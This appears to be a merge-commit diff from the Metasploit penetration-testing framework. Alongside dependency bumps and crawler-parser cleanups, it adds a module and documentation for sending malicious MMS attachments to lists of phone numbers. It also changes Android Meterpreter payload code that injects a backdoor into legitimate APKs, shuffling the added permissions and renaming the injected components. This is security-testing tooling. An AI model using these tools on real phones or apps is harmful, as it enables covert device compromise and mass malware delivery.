Merge remote-tracking branch 'upstream/master' into land-8118-
commit
52cea93ea2
22
Gemfile.lock
22
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.14.2)
|
||||
metasploit-framework (4.14.3)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -14,7 +14,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.2.17)
|
||||
metasploit-payloads (= 1.2.18)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.7)
|
||||
msgpack
|
||||
|
@ -104,7 +104,7 @@ GEM
|
|||
bcrypt (3.1.11)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.3)
|
||||
capybara (2.12.1)
|
||||
capybara (2.13.0)
|
||||
addressable
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
|
@ -145,8 +145,8 @@ GEM
|
|||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (4.0.0)
|
||||
google-protobuf (3.2.0)
|
||||
gherkin (4.1.1)
|
||||
google-protobuf (3.2.0.2)
|
||||
googleauth (0.5.1)
|
||||
faraday (~> 0.9)
|
||||
jwt (~> 1.4)
|
||||
|
@ -164,7 +164,7 @@ GEM
|
|||
json (2.0.3)
|
||||
jwt (1.5.6)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.1.0)
|
||||
logging (2.2.0)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.10)
|
||||
loofah (2.0.3)
|
||||
|
@ -190,7 +190,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.2.17)
|
||||
metasploit-payloads (1.2.18)
|
||||
metasploit_data_models (2.0.14)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -227,7 +227,7 @@ GEM
|
|||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pg (0.19.0)
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
|
@ -256,7 +256,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.0.0)
|
||||
rb-readline (0.5.4)
|
||||
recog (2.1.4)
|
||||
recog (2.1.5)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.4)
|
||||
|
@ -335,7 +335,7 @@ GEM
|
|||
faraday (~> 0.9)
|
||||
jwt (~> 1.5)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.13.0)
|
||||
simplecov (0.14.0)
|
||||
docile (~> 1.1.0)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
|
@ -350,7 +350,7 @@ GEM
|
|||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.0)
|
||||
windows_error (0.1.1)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.9.8)
|
||||
|
|
|
@ -1,17 +1,8 @@
|
|||
##
|
||||
# $Id$
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -19,10 +10,7 @@ require 'uri'
|
|||
class CrawlerSimple < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
# doc = Hpricot(result.body.to_s)
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
|
|
|
@ -0,0 +1,31 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerComments < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.xpath('//comment()').each do |comment|
|
||||
# searching for href
|
||||
hr = /href\s*=\s*"([^"]*)"/.match(comment)
|
||||
if hr
|
||||
begin
|
||||
hreq = urltohash('GET', hr[1], request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,17 +1,8 @@
|
|||
##
|
||||
# $Id$
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -19,28 +10,21 @@ require 'uri'
|
|||
class CrawlerForms < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
hr = ''
|
||||
m = ''
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('form').each do |f|
|
||||
hr = f['action']
|
||||
|
||||
fname = f['name']
|
||||
fname = "NONE" if fname.empty?
|
||||
# Removed because unused
|
||||
#fname = f['name']
|
||||
#fname = 'NONE' if fname.empty?
|
||||
|
||||
m = f['method'].empty? ? 'GET' : f['method'].upcase
|
||||
|
||||
htmlform = Nokogiri::HTML(f.inner_html)
|
||||
m = (f['method'].empty? ? 'GET' : f['method'].upcase)
|
||||
|
||||
arrdata = []
|
||||
|
||||
htmlform.css('input').each do |p|
|
||||
f.css('input').each do |p|
|
||||
arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}"
|
||||
end
|
||||
|
||||
|
@ -51,7 +35,10 @@ class CrawlerForms < BaseParser
|
|||
hreq['ctype'] = 'application/x-www-form-urlencoded'
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,13 +1,8 @@
|
|||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -27,6 +22,7 @@ class CrawlerFrames < BaseParser
|
|||
hreq = urltohash('GET', ir, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,14 +1,8 @@
|
|||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# $Revision: 9212 $
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -27,6 +21,7 @@ class CrawlerImage < BaseParser
|
|||
hreq = urltohash('GET', im, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,14 +1,8 @@
|
|||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# $Revision: 9212 $
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -26,6 +20,7 @@ class CrawlerLink < BaseParser
|
|||
hreq = urltohash('GET', hr, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,17 +1,8 @@
|
|||
##
|
||||
# $Id$
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -29,6 +20,7 @@ class CrawlerObjects < BaseParser
|
|||
hreq = urltohash('GET', s, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,17 +1,8 @@
|
|||
##
|
||||
# $Id$
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -21,8 +12,6 @@ class CrawlerScripts < BaseParser
|
|||
def parse(request,result)
|
||||
return unless result['Content-Type'].include? "text/html"
|
||||
|
||||
hr = ''
|
||||
m = ''
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.xpath("//script").each do |obj|
|
||||
s = obj['src']
|
||||
|
@ -30,6 +19,7 @@ class CrawlerScripts < BaseParser
|
|||
hreq = urltohash('GET', s, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,150 @@
|
|||
The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a
|
||||
collection of phone numbers of the same carrier.
|
||||
|
||||
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
|
||||
mail services such as Gmail, Yahoo, Live should work fine.
|
||||
|
||||
## Module Options
|
||||
|
||||
**CELLNUMBERS**
|
||||
|
||||
The 10-digit phone number (or numbers) you want to send the MMS text to. If you wish to target
|
||||
against multiple phone numbers, ideally you want to create the list in a text file (one number per
|
||||
line), and then load the CELLNUMBERS option like this:
|
||||
|
||||
```
|
||||
set CELLNUMBERS file:///tmp/att_phone_numbers.txt
|
||||
```
|
||||
|
||||
Remember that these phone numbers must be the same carrier.
|
||||
|
||||
**MMSCARRIER**
|
||||
|
||||
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
|
||||
supported carriers.
|
||||
|
||||
**TEXTMESSAGE**
|
||||
|
||||
The text message you want to send. For example, this will send a text with a link to google:
|
||||
|
||||
```
|
||||
set TEXTMESSAGE "Hi, please go: google.com"
|
||||
```
|
||||
|
||||
The link should automatically be parsed on the phone and clickable.
|
||||
|
||||
**MMSFILE**
|
||||
|
||||
The attachment to send in the message.
|
||||
|
||||
**MMSFILECTYPE**
|
||||
|
||||
The content type to use for the attachment. Commonly supported ones include:
|
||||
|
||||
* audio/midi
|
||||
* image/jpeg
|
||||
* image/gif
|
||||
* image/png
|
||||
* video/mp4
|
||||
|
||||
To find more, please try this [list](http://www.freeformatter.com/mime-types-list.html)
|
||||
|
||||
**SMTPADDRESS**
|
||||
|
||||
The mail server address you wish to use to send the MMS messages.
|
||||
|
||||
**SMTPPORT**
|
||||
|
||||
The mail server port. By default, this is ```25```.
|
||||
|
||||
**SMTPUSERNAME**
|
||||
|
||||
The username you use to log into the SMTP server.
|
||||
|
||||
**SMTPPASSWORD**
|
||||
|
||||
The password you use to log into the SMTP server.
|
||||
|
||||
**SMTPFROM**
|
||||
|
||||
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. Some carriers require this
|
||||
in order to receive the text, such as AT&T.
|
||||
|
||||
**MMSSUBJECT**
|
||||
|
||||
The MMS subject. Some carriers require this in order to receive the text, such as AT&T.
|
||||
|
||||
## Supported Carrier Gateways
|
||||
|
||||
The module supports the following carriers:
|
||||
|
||||
* AT&T
|
||||
* Sprint
|
||||
* T-Mobile
|
||||
* Verizon
|
||||
* Google Fi
|
||||
|
||||
## Finding the Carrier for a Phone Number
|
||||
|
||||
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
|
||||
how to identify the carrier of a phone number. There are many services that can do this, such as:
|
||||
|
||||
http://freecarrierlookup.com/
|
||||
|
||||
## Gmail SMTP Example
|
||||
|
||||
Gmail is a popular mail server, so we will use this as a demonstration.
|
||||
|
||||
Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en).
|
||||
|
||||
After creating the application password, configure auxiliary/client/mms/send_mms this way:
|
||||
|
||||
* ```set cellnumbers [PHONE NUMBER]```
|
||||
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
|
||||
* ```set textmessage "[TEXT MESSAGE]"```
|
||||
* ```set smtpaddress smtp.gmail.com```
|
||||
* ```set smtpport 587```
|
||||
* ```set mmsfile /tmp/example.mp4```
|
||||
* ```set mmsfilectype video/mp4```
|
||||
* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end)
|
||||
* ```set smtppassword [APPLICATION PASSWORD]```
|
||||
|
||||
And you should be ready to go.
|
||||
|
||||
## Yahoo SMTP Example
|
||||
|
||||
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
|
||||
so we will demonstrate as well.
|
||||
|
||||
Before using the module, you must do this to your Yahoo account:
|
||||
|
||||
1. Sign in to Yahoo Mail.
|
||||
2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps)
|
||||
3. Turn on Allow apps that use less secure sign in.
|
||||
|
||||
After configuring your Yahoo account, configure auxiliary/client/mms/send_mms this way:
|
||||
|
||||
* ```set cellnumbers [PHONE NUMBER]```
|
||||
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
|
||||
* ```set textmessage "[TEXT MESSAGE]"```
|
||||
* ```set smtpaddress smtp.mail.yahoo.com```
|
||||
* ```set smtpport 25```
|
||||
* ```set mmsfile /tmp/example.mp4```
|
||||
* ```set mmsfilectype video/mp4```
|
||||
* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com```
|
||||
* ```set smtppassword [YAHOO LOGIN PASSWORD]```
|
||||
|
||||
And you're good to go.
|
||||
|
||||
## Demonstration
|
||||
|
||||
After setting up your mail server and the module, your output should look similar to this:
|
||||
|
||||
```
|
||||
msf auxiliary(send_mms) > run
|
||||
|
||||
[*] Sending mms message to 1 number(s)...
|
||||
[*] Done.
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(send_mms) >
|
||||
```
|
|
@ -1,6 +1,6 @@
|
|||
```struts2_content_type_ognl``` is a module that exploits Apache Struts 2's Jakarta Multipart
|
||||
`struts2_content_type_ognl` is a module that exploits Apache Struts 2's Jakarta Multipart
|
||||
parser, which makes it possible to perform arbitrary code execution with a malicious HTTP
|
||||
```Content-Type``` value.
|
||||
`Content-Type` value.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
|
@ -29,7 +29,7 @@ set as optional.
|
|||
|
||||
**The Check Command**
|
||||
|
||||
The ```struts2_content_type_ognl``` module comes with a check command that can effectively check
|
||||
The `struts2_content_type_ognl` module comes with a check command that can effectively check
|
||||
if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the
|
||||
following:
|
||||
|
||||
|
@ -39,7 +39,7 @@ set RHOST [IP]
|
|||
set TARGETURI [path to the Struts app with an action]
|
||||
```
|
||||
|
||||
When the module is in verbose mode, the ```check``` command will try to tell you the OS information,
|
||||
When the module is in verbose mode, the `check` command will try to tell you the OS information,
|
||||
and whether or not the machine is vulnerable. Like this:
|
||||
|
||||
```
|
||||
|
@ -54,7 +54,7 @@ msf exploit(struts2_content_type_ognl) > check
|
|||
After identifying the vulnerability on the target machine, you can try to exploit it.
|
||||
|
||||
The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads,
|
||||
try to do ```show payloads```, and pick one. The following example demonstrates us exploiting a
|
||||
try to do `show payloads`, and pick one. The following example demonstrates us exploiting a
|
||||
vulnerable Ubuntu host:
|
||||
|
||||
```
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.14.2"
|
||||
VERSION = "4.14.3"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -28,5 +28,5 @@ require 'msf/core/auxiliary/iax2'
|
|||
require 'msf/core/auxiliary/ntp'
|
||||
require 'msf/core/auxiliary/pii'
|
||||
require 'msf/core/auxiliary/redis'
|
||||
|
||||
require 'msf/core/auxiliary/sms'
|
||||
require 'msf/core/auxiliary/mms'
|
||||
|
|
|
@ -0,0 +1,69 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
###
|
||||
#
|
||||
# The Msf::Auxiliary::Mms mixin allows you to send a text message
|
||||
# including a media file.
|
||||
#
|
||||
##
|
||||
|
||||
module Msf
|
||||
module Auxiliary::Mms
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']),
|
||||
OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']),
|
||||
OptString.new('MMSSUBJECT', [false, 'The Email subject', '']),
|
||||
OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]),
|
||||
OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']),
|
||||
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
|
||||
OptEnum.new('MMSCARRIER', [true, 'The targeted MMS service provider', nil,Rex::Proto::Mms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
|
||||
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
|
||||
OptString.new('TEXTMESSAGE', [true, 'The text message to send']),
|
||||
OptPath.new('MMSFILE', [false, 'The attachment to include in the text file']),
|
||||
OptString.new('MMSFILECTYPE', [false, 'The attachment content type'])
|
||||
], Auxiliary::Mms)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]),
|
||||
OptString.new('HeloDdomain', [false, 'The domain to use for HELO', ''])
|
||||
], Auxiliary::Mms)
|
||||
end
|
||||
|
||||
|
||||
# Sends an MMS message to multiple numbers of the same service provider (carrier).
|
||||
#
|
||||
# @example This sends a text (including an attachment) via Gmail
|
||||
# smtp = Rex::Proto::Mms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass)
|
||||
# mms = Rex::Proto::Mms::Client.new(carrier: :verizon, smtp_server: smtp)
|
||||
# mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg')
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
|
||||
# @param subject [String] MMS subject
|
||||
# @param message [String] The text to send.
|
||||
# @param attachment_path [String] Optional
|
||||
# @param ctype [String] Optional
|
||||
#
|
||||
# @return [void]
|
||||
def send_mms(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
|
||||
smtp = Rex::Proto::Mms::Model::Smtp.new(
|
||||
address: datastore['SMTPADDRESS'],
|
||||
port: datastore['SMTPPORT'],
|
||||
username: datastore['SMTPUSERNAME'],
|
||||
password: datastore['SMTPPASSWORD'],
|
||||
login_type: datastore['SmtpLoginType'].to_sym,
|
||||
from: datastore['SMTPFROM'],
|
||||
)
|
||||
|
||||
carrier = datastore['MMSCARRIER'].to_sym
|
||||
mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp)
|
||||
mms.send_mms_to_phones(phone_numbers, subject, message, attachment_path, ctype)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -23,6 +23,16 @@ module Msf
|
|||
)
|
||||
end
|
||||
|
||||
def is_loopback_address?(address)
|
||||
begin
|
||||
a = IPAddr.new(address.to_s)
|
||||
return true if IPAddr.new('127.0.0.1/8') === a
|
||||
return true if IPAddr.new('::1') === a
|
||||
rescue
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
# A list of addresses to attempt to bind, in preferred order.
|
||||
#
|
||||
# @return [Array<String>] a two-element array. The first element will be
|
||||
|
@ -32,11 +42,18 @@ module Msf
|
|||
def bind_addresses
|
||||
# Switch to IPv6 ANY address if the LHOST is also IPv6
|
||||
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
|
||||
|
||||
# First attempt to bind LHOST. If that fails, the user probably has
|
||||
# something else listening on that interface. Try again with ANY_ADDR.
|
||||
any = (addr.length == 4) ? "0.0.0.0" : "::0"
|
||||
addr = Rex::Socket.addr_ntoa(addr)
|
||||
|
||||
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
|
||||
# Checking if LHOST is a loopback address
|
||||
if is_loopback_address?(addr)
|
||||
print_warning("You are binding to a loopback address by setting LHOST to #{addr}. Did you want ReverseListenerBindAddress?")
|
||||
end
|
||||
|
||||
addrs = [ addr, any ]
|
||||
|
||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
# Only try to bind to this specific interface
|
||||
|
@ -87,10 +104,8 @@ module Msf
|
|||
print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -")
|
||||
else
|
||||
ex = false
|
||||
|
||||
via = via_string_for_ip(ip, comm)
|
||||
print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}")
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
|
|
|
@ -419,4 +419,3 @@ end
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -54,15 +54,9 @@ module Msf::Payload::Android
|
|||
transports: opts[:transport_config] || [transport_config(opts)]
|
||||
}
|
||||
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
result = config.to_b
|
||||
|
||||
result[0] = "\x01" if opts[:stageless]
|
||||
result
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder="", input="")
|
||||
data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length))
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
|
||||
config[0] = "\x01" if opts[:stageless]
|
||||
config
|
||||
end
|
||||
|
||||
def sign_jar(jar)
|
||||
|
@ -98,14 +92,18 @@ module Msf::Payload::Android
|
|||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
config = generate_config(opts)
|
||||
if opts[:stageless]
|
||||
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
|
||||
# Add stageless classname at offset 8000
|
||||
config += "\x00" * (8000 - config.size)
|
||||
config += 'com.metasploit.meterpreter.AndroidMeterpreter'
|
||||
else
|
||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||
end
|
||||
|
||||
config = generate_config(opts)
|
||||
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||
config += "\x00" * (8195 - config.size)
|
||||
classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
files = [
|
||||
|
|
|
@ -35,9 +35,14 @@ class Msf::Payload::Apk
|
|||
end
|
||||
end
|
||||
|
||||
# Find the activity that is opened when you click the app icon
|
||||
def find_launcher_activity(amanifest)
|
||||
# Find a suitable smali point to hook
|
||||
def find_hook_point(amanifest)
|
||||
package = amanifest.xpath("//manifest").first['package']
|
||||
application = amanifest.xpath('//application')
|
||||
application_name = application.attribute("name")
|
||||
if application_name
|
||||
return application_name.to_s
|
||||
end
|
||||
activities = amanifest.xpath("//activity|//activity-alias")
|
||||
for activity in activities
|
||||
activityname = activity.attribute("targetActivity")
|
||||
|
@ -68,7 +73,7 @@ class Msf::Payload::Apk
|
|||
}
|
||||
end
|
||||
|
||||
def fix_manifest(tempdir, package)
|
||||
def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
|
||||
#Load payload's manifest
|
||||
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
|
||||
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
|
||||
|
@ -78,6 +83,8 @@ class Msf::Payload::Apk
|
|||
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||
|
||||
old_permissions = []
|
||||
add_permissions = []
|
||||
|
||||
original_permissions.each do |permission|
|
||||
name = permission.attribute("name").to_s
|
||||
old_permissions << name
|
||||
|
@ -87,21 +94,26 @@ class Msf::Payload::Apk
|
|||
payload_permissions.each do |permission|
|
||||
name = permission.attribute("name").to_s
|
||||
unless old_permissions.include?(name)
|
||||
print_status("Adding #{name}")
|
||||
add_permissions += [permission.to_xml]
|
||||
end
|
||||
end
|
||||
add_permissions.shuffle!
|
||||
for permission_xml in add_permissions
|
||||
print_status("Adding #{permission_xml}")
|
||||
if original_permissions.empty?
|
||||
application.before(permission.to_xml)
|
||||
application.before(permission_xml)
|
||||
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||
else
|
||||
original_permissions.before(permission.to_xml)
|
||||
end
|
||||
original_permissions.before(permission_xml)
|
||||
end
|
||||
end
|
||||
|
||||
application = original_manifest.at_xpath('/manifest/application')
|
||||
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
|
||||
service = payload_manifest.at_xpath('/manifest/application/service')
|
||||
receiver.attributes["name"].value = package + receiver.attributes["name"].value
|
||||
service.attributes["name"].value = package + service.attributes["name"].value
|
||||
receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
|
||||
receiver.attributes["label"].value = main_broadcast_receiver
|
||||
service.attributes["name"].value = package + '.' + main_service
|
||||
application << receiver.to_xml
|
||||
application << service.to_xml
|
||||
|
||||
|
@ -110,7 +122,7 @@ class Msf::Payload::Apk
|
|||
|
||||
def parse_orig_cert_data(orig_apkfile)
|
||||
orig_cert_data = Array[]
|
||||
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")
|
||||
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'")
|
||||
owner_line = keytool_output.match(/^Owner:.+/)[0]
|
||||
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
|
||||
orig_cert_data.push("#{orig_cert_dname}")
|
||||
|
@ -185,24 +197,22 @@ class Msf::Payload::Apk
|
|||
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
||||
|
||||
print_status "Locating hook point..\n"
|
||||
launcheractivity = find_launcher_activity(amanifest)
|
||||
unless launcheractivity
|
||||
raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n"
|
||||
end
|
||||
smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali"
|
||||
hookable_class = find_hook_point(amanifest)
|
||||
smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
|
||||
smalifiles = Dir.glob(smalifile)
|
||||
for smalifile in smalifiles
|
||||
if File.readable?(smalifile)
|
||||
activitysmali = File.read(smalifile)
|
||||
hooksmali = File.read(smalifile)
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
unless activitysmali
|
||||
raise RuntimeError, "Unable to find hookable activity in #{smalifiles}\n"
|
||||
unless hooksmali
|
||||
raise RuntimeError, "Unable to find hook point in #{smalifile}\n"
|
||||
end
|
||||
|
||||
entrypoint = 'return-void'
|
||||
unless activitysmali.include? entrypoint
|
||||
unless hooksmali.include? entrypoint
|
||||
